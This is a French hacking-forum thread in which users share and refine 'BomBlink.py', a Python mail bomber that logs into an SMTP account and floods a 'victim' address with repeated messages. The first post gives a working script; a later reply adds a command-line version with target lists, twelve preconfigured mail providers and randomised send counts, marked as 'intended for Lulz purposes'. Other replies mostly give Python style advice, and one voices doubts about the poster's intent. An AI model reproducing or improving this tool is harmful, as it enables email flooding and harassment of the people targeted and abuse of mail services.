Annonce

Réduire
Aucune annonce.

Mail Bomber en Python: BomBlink.py

Réduire
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • Mail Bomber en Python: BomBlink.py

    script bien connu mais souvent oublié

    Exemple: -
    - Server Mail: Gmail ou Yahoo -
    - Id et Password (votre adresse bidon et pass ) -
    - email de la victime -
    - Text a envoyer -
    - Mombres de Message envoyer

    Code:
    #!/usr/bin/python
    # -*- coding: latin-1 -*-
    
    print "#-----------------------------------------------------------#"
    print "- ____ ___ __ __ ____ _ ___ _ _ _ __ -"
    print "- | __ ) / _ \| \/ | __ )| | |_ _| \ | | |/ / -"
    print "- | _ \| | | | |\/| | _ \| | | || \| | ' / -"
    print "- | |_) | |_| | | | | |_) | |___ | || |\ | . \ -"
    print "- |____/ \___/|_| |_|____/|_____|___|_| \_|_|\_\ -"
    print "- ************************ -"
    print "- bY Blink ::HACKERFREE.RU:: -"
    print "- 2013-2014 -"
    print "#-----------------------------------------------------------#"
    print "- Exemple: -"
    print "- Server Mail: Gmail ou Yahoo -"
    print "- Id et Password -"
    print "- email de la victime -"
    print "- Text -"
    print "- Mombres de Message envoyer -"
    print "#-----------------------------------------------------------#"
    
    import os
    import smtplib
    import getpass
    import sys
    
    
    server = raw_input ('Server Mail: ')
    user = raw_input('Username: ')
    passwd = getpass.getpass('Password: ')
    
    
    to = raw_input('\nTo: ')
    #subject = raw_input('Subject: ') 
    body = raw_input('Message: ')
    total = input('Number of send: ')
    
    if server == 'gmail':
     smtp_server = 'smtp.gmail.com'
     port = 587
    elif server == 'yahoo':
     smtp_server = 'smtp.mail.yahoo.com'
     port = 25
    else:
     print 'Applies only to gmail and yahoo.'
     sys.exit()
    
    print ''
    
    try:
     server = smtplib.SMTP(smtp_server,port) 
     server.ehlo()
     if smtp_server == "smtp.gmail.com":
     server.starttls()
     server.login(user,passwd)
     for i in range(1, total+1):
     subject = os.urandom(9)
     msg = 'From: ' + user + '\nSubject: ' + subject + '\n' + body
     server.sendmail(user,to,msg)
     print "\rTotal emails sent: %i" % i
     sys.stdout.flush()
     server.quit()
     print '\n Done !!!'
    except KeyboardInterrupt:
     print '[-] Canceled'
     sys.exit()
    except smtplib.SMTPAuthenticationError:
     print '\n[!] The username or password you entered is incorrect.'
     sys.exit()
    Si quelqu'un veut l'améliorer pas de souci.
    Dernière modification par comaX, 10 novembre 2013, 12h32.

  • #2
    Il est très améliorable en effet, mais pourquoi ne pas essayé de l'améliorer toi même.

    Par exemple

    Pour afficher sur plusieurs lignes on utilise les triples quotes

    Code:
    print """ligne1
    ligne2
    ligne3"""
    Ensuite on pourrait travailler avec des fonctions comme par exemple

    Code:
    def connect(server, adress, password):
        # blabla
    Il y a aussi dans ton code des indentations incorrectes, quelqu'un qui ne s'y connaît pas en python ne sera pas l'exécuter sans faire ces modifications...

    Commentaire


    • #3
      merci pour tes informations , mais le script telle qu'il est la fonctionne
      ==> http://www.youtube.com/watch?v=-C1c-hzbELs

      En amélioration j'aimerais avoir des autres serveurs mails

      Commentaire


      • #4
        mais le script telle qu'il est la fonctionne
        Si c'est suffisant pour toi, alors c'est l'essentiel...

        Bonne continuation.

        Edit :

        merci pour tes informations , mais le script telle qu'il est la fonctionne
        Ah mais non ça ne fonctionne pas telle que tu l'as copié collé sur le forum cher ami, comme je l'ai dis il y a des erreurs d'indentation.
        Dernière modification par fred, 12 novembre 2013, 23h25.

        Commentaire


        • #5
          Le code est un peu beaucoup leech d'ici http://abi71.wordpress.com/2011/02/03/pybombmail-py/
          WITHOUT DEVIATION FROM THE NORM, PROGRESS IS NOT POSSIBLE
          -Frank Zappa

          Commentaire


          • #6
            Je viens de voir ce topic et, euuuhh... , en fait c'est juste une boucle avec un appel à une fonction mail....

            Je saisis pas franchement l'intéret d'ouvrir un topic pour ca...
            Iddl3, franchement, est-ce qu'on peut vraiment parler de pompage pour 4 pauvres lignes de code ?

            Tortue 974.
            Dernière modification par TorTukiTu, 13 novembre 2013, 20h32.
            OxyGen Software
            Sécurité, développement, formations, informatique biomédicale
            [email protected]

            Commentaire


            • #7
              Je saisis pas franchement l'intéret d'ouvrir un topic pour ca...
              Pour apprendre le python, oui! Pour le modifier oui! Pour l'améliorer oui! Mais pour l'apporter comme il est là, pas beau, non optimisé et incomplet, non!

              J'ai des doutes sur les 3 phases que je considère comme utile de ce post, je rejoins donc ton avis.

              À moins que ce post n'est pas d'autres intérêts que pédagogique dans le langage python, je ne vois pas l'intérêt ailleurs.

              Bref attendons de voir ce que mad-attack souhaite faire de ce code. J'ai un mauvais pressentiment là-dessus

              Commentaire


              • #8
                Version amélorée

                Hello there,

                Je suis tombé sur ce post un peu par hasard à l’occasion de recherches concernant l’apprentissage de python. Du coup, je me suis dit que je pourrais améliorer un peu ce script :
                • interface CLI
                • découpage en fonctions
                • ajout de serveurs préconfigurés

                Code:
                #!/usr/bin/python
                # -*- coding: latin-1 -*-
                
                import os
                import smtplib
                import random
                import getpass
                import sys
                import argparse
                
                
                # FUNCTIONS
                def connect(smtp_server, port, user, passwd, secure):
                    global server
                    server = smtplib.SMTP(smtp_server,port)
                    if secure == 'tls' or secure == 'ssl':
                        server.starttls()
                        server.login(user,passwd)
                
                def spamOne(sender, adress, msg, occurences):
                    try:
                        server.ehlo_or_helo_if_needed()
                        for i in range(1, occurences+1):
                            server.sendmail(sender,adress,msg)
                        print ("\rTotal emails sent to %s : %i" % (adress, occurences))
                        global cpt
                        cpt += 1
                    except smtplib.SMTPRecipientsRefused:
                        print("\r[!] The adress %s is invalid" % adress)
                
                def useSpamList(sender, adresses, msg, occurences):
                    for i in range(1, len(adresses)+1):
                         spamOne(sender, adresses[i-1], msg, occurences)
                         sys.stdout.flush()
                
                def isInt_str(v):
                    v = str(v).strip()
                    return v=='0' or (v if v.find('..') > -1 else v.lstrip('-+').rstrip('0').rstrip('.')).isdigit()
                
                
                # VARIABLES
                listing=['gmail','yahoo','outlook','office365','orange','hotmail','gmx','o2','at&t','1&1','comcast','verizon']
                server = None
                cpt = 0
                cli_interface = argparse.ArgumentParser(
                 prog='BomBlink',
                 formatter_class=argparse.RawDescriptionHelpFormatter,
                 description="""
                #-----------------------------------------------------------#
                -       ____   ___  _   _ ____  _     ___ _   _ _  __       -
                -      | __ ) / _ \| \  /| __ )| |   |_ _| \ | | |/ /       -
                -      | |\ \| | | | |\/ | |\ \| |    | ||  \| | ' /        -
                -      | |_) | |_| | | | | |_) | |___ | || |\  | . \        -
                -      |____/ \___/|_| |_|____/|_____|___|_| \_|_|\_\       -
                - ********************************************************* -
                 
                 Sends junk mails. From your sofa.""",
                 epilog="""
                #-----------------------------------------------------------#
                - bY Blink ::HACKERFREE.RU:: @ 2013-2014
                - improved by rigelk @ 2014
                - intended for Lulz purposes
                #-----------------------------------------------------------#""")
                adresses_group = cli_interface.add_argument_group('Adresse(s) to spam')
                adress_smtp = cli_interface.add_argument_group('SMTP server')
                adresses_group.add_argument('--adresses', metavar='N', type=str, nargs='+',
                                           help='the adress(es) to be spammed')
                adress_smtp.add_argument('-F', metavar='server:port:tls/ssl/plain', type=str,
                                           help='smtp server from which to spam, if unique')
                adress_smtp.add_argument('--blind', '-B', metavar='service', help='smtp preconfigured server, see the list')
                cli_interface.add_argument('-l', action="store_true", help='list of smtp preconfigured services')
                cli_interface.add_argument('-U', metavar='username', type=str)
                cli_interface.add_argument('-O',
                 metavar='#',default=random.randint(0,10),type=int, help='number of spam to send to each (default:random(10))')
                cli_interface.add_argument('-M', metavar='MSG_FILE',type=argparse.FileType('r'),
                                           help='formated mail header')
                adresses_group.add_argument('--targetlist', metavar='FILE', type=argparse.FileType('r'),
                                           help='use a listing instead, one adress per line')
                cli_interface.add_argument('--version', action='version',
                                           version='%(prog)s 0.1')
                args = cli_interface.parse_args()
                
                
                # INPUT CUSTOM PROCESSING
                if args.l:
                    print("""Services supported: (case sensitive):
                   Name:       | Hostname:
                  =============|=================
                   gmail       | smtp.gmail.com
                   yahoo       | smtp.mail.yahoo.com
                   outlook     | smtp.live.com
                   office365   | smtp.office365.com
                   orange      | smtp.orange.net
                   hotmail     | smtp.live.com
                   gmx         | smtp.gmx.com
                   o2          | smtp.o2.ie
                   at&t        | smtp.att.yahoo.com
                   1&1         | smtp.1and1.com
                   comcast     | smtp.comcast.net
                   verizon     | outgoing.verizon.net""")
                    sys.exit()
                if args.adresses is None and args.targetlist is None:
                    cli_interface.error("one of the arguments --adresses/--targetlist is required")
                if args.F is None and args.blind is None:
                    cli_interface.error("either -F or --blind/-B is required")
                if args.F != None and args.blind != None:
                    cli_interface.error("-F or --blind/-B are not to be used together")
                if args.F != None:
                    try:
                        if args.F.split(':')[2] not in {'tls','ssl','plain'}:
                            cli_interface.error("-F needs to know how to initialize the connection (ssl,tls,plain)")
                        if isInt_str(args.F.split(':')[1]) == False:
                            cli_interface.error("-F needs a numerical port, no decimal. obviousness, you know...")   
                «    except IndexError:
                        cli_interface.error("-F needs a formatted string: 'server:port:method' where 'method' is either 'ssl', 'tls' or 'plain'")
                if args.blind != None:
                    if args.blind not in listing:
                        cli_interface.error("--blind/-B needs a valid service name (see list via -l)")
                if args.targetlist != None:
                    for line in args.targetlist:
                        args.adresses.append(line.replace("\n", ""))
                
                
                # INPUT RECOVER NET
                user = args.U
                if args.U == None:
                    user = str(input('Username: '))
                passwd = getpass.getpass('Password: ')
                
                if args.M == None:
                    subject = str(input('Subject: '))
                    body = str(input('Message: '))
                    msg = 'From: ' + user + '\nSubject: ' + subject + '\n' + body
                else:
                    msg = args.M.read()
                
                if args.O == None:
                    total = int(input('Number of crap to send: '))
                else:
                    total = args.O
                
                
                # SMTP SERVERS CONFIGURATIONS
                if args.blind == 'gmail':
                    smtp_server = 'smtp.gmail.com'
                    port = 587
                    secure = 'tls'
                elif args.blind == 'yahoo':
                    smtp_server = 'smtp.mail.yahoo.com'
                    port = 465
                    secure = 'ssl'
                elif args.blind == 'outlook':
                    smtp_server = 'smtp.live.com'
                    port = 587
                    secure = 'tls'
                elif args.blind == 'office365':
                    smtp_server = 'smtp.office365.com'
                    port = 587
                    secure = 'tls'
                elif args.blind == 'orange':
                    smtp_server = 'smtp.orange.net'
                    port = 25
                    secure = 'plain'
                elif args.blind == 'hotmail':
                    smtp_server = 'smtp.live.com'
                    port = 465
                    secure = 'ssl'
                elif args.blind == 'gmx':
                    smtp_server = 'smtp.gmx.com'
                    port = 465
                    secure = 'ssl'
                elif args.blind == 'o2':
                    smtp_server = 'smtp.o2.ie'
                    port = 25
                    secure = 'plain'
                elif args.blind == 'at&t':
                    smtp_server = 'smtp.att.yahoo.com'
                    port = 465
                    secure = 'ssl'
                elif args.blind == '1&1':
                    smtp_server = 'smtp.1and1.com'
                    port = 587
                    secure = 'tls'
                elif args.blind == 'comcast':
                    smtp_server = 'smtp.comcast.net'
                    port = 25
                    secure = 'plain'
                elif args.blind == 'verizon':
                    smtp_server = 'outgoing.verizon.net'
                    port = 465
                    secure = 'ssl'
                else:
                    smtp_server, port, secure = args.F.split(":",1)
                
                
                # NETWORKING (main)
                try:
                    connect(smtp_server, port, user, passwd, secure)
                    useSpamList(user, args.adresses, msg, total)
                    server.quit()
                    print ('Done for %i/%i mail adresse(s).' % (cpt,len(args.adresses)))
                except KeyboardInterrupt:
                    print ('[-] Canceled')
                    sys.exit()
                except smtplib.SMTPAuthenticationError:
                    print ('\n[!] The username or password you entered is incorrect.')
                    sys.exit()
                J’imagine qu’en jetant un bref coup d’oeil vous devez déjà voir des choses à corriger (mauvais usages, optimisation, etc…) ; de même, si vous avez des pistes de fonctionnalités à inclure/imnclure différemment, je suis là pour apprendre alors n’hésitez pas !

                Mon code est aussi versionné ici.

                Commentaire


                • #9
                  Je dirais plusieurs choses

                  Là où global se trouve, faut rapidement le virer
                  Concernant le choix des serveurs et leurs attributs (name, port et secure), j'utiliserais les namedtuple
                  Ton système d'interface CLI me semble trop compliqué, un petit menu simple avec dictionnaire, le hostname n'est pas utile à afficher à l'utilisateur
                  Tu utilises du nombre magique, qui nuit à la lisibilité du code
                  Je comprend pourquoi je n'aime pas le module argparse, ça confirme que ça fou toujours le bordel dans un code

                  Bonne soirée

                  Commentaire


                  • #10
                    @fred : d'abord merci beaucoup pour cette réponse, j'ai corrigé les globales et modularisé avec un dictionnaire de serveurs dont les infos sont renseignées en namedtuple. Je vois l'intérêt, le code est plus clair ! ->

                    Code:
                    listing={
                        'gmail':Server('smtp.gmail.com',587,'tls'),
                        # autres serveurs
                    }
                    Envoyé par fred Voir le message
                    Ton système d'interface CLI me semble trop compliqué, un petit menu simple avec dictionnaire, le hostname n'est pas utile à afficher à l'utilisateur
                    [...]
                    Je comprend pourquoi je n'aime pas le module argparse, ça confirme que ça fou toujours le bordel dans un code
                    Je n'ai pas encore assez d'expérience pour en juger : moi ça m'a paru nettement plus simple que de comprendre la bibliothèque boost program_options pour c++ !

                    Bref, du coup je veux comprendre comment simplifier l'interface, mais je ne suis pas sûr de comprendre ce que tu veux dire par "menu avec dictionnaire". J'imagine que c'est sans argparse du coup mais sinon on peut transformer le Namespace de argparse en dictionnaire avec
                    Code:
                    vars(args.parse_args())
                    Sinon j'ai vu ces biblitohèques pour interfaces CLI, peut-être qu'elles sont plus recommandables qu'argparse... (?)

                    Commentaire


                    • #11
                      Voici un exemple d'utilisation des dictionnaires avec ton menu de serveurs

                      Code:
                      listing=[
                                  'gmail','yahoo','outlook',
                                  'office365','orange','hotmail',
                                  'gmx','o2','at&t','1&1','comcast',
                                  'verizon'
                              ]
                      
                      
                      
                      def Menu():
                          dictionary = {}
                          for ind, serveur in enumerate(listing):
                              dictionary[ind+1] = serveur
                          return dictionary
                      
                      def getChoice(myDict, n):
                          if n in myDict:
                              return myDict[n]
                      
                      def displayMenu():
                          m = Menu()
                          for i in m:
                              print("{n}: {server}".format(n=i, server=m[i]))
                          print('\n')
                          n = int(input("Entrer votre choix: "))
                          print("votre choix est: {}".format(getChoice(m, n)))
                      
                      displayMenu()
                      Testes ce code seul, il est fonctionnel... Je suis en version python3.x, je te conseille de t'y mettre.

                      Si tu veux rester en version 2.x,
                      • N'utilises pas input, juste raw_input, qui renvoie un str, donc utiliser str est inutile
                      • print n'est pas une fonction, et dans ce cas, on vire les parenthèses


                      Il faudra aussi que tu adaptes mon code pour le tester dans cette version.

                      La conclusion de ce code, c'est que j'évite au maximum les écritures en brute dans mon code, je me sers des éléments pour l'utiliser dans des boucles à l'aide de container tel que liste, dictionnaire, etc...

                      Commentaire

                      Chargement...
                      X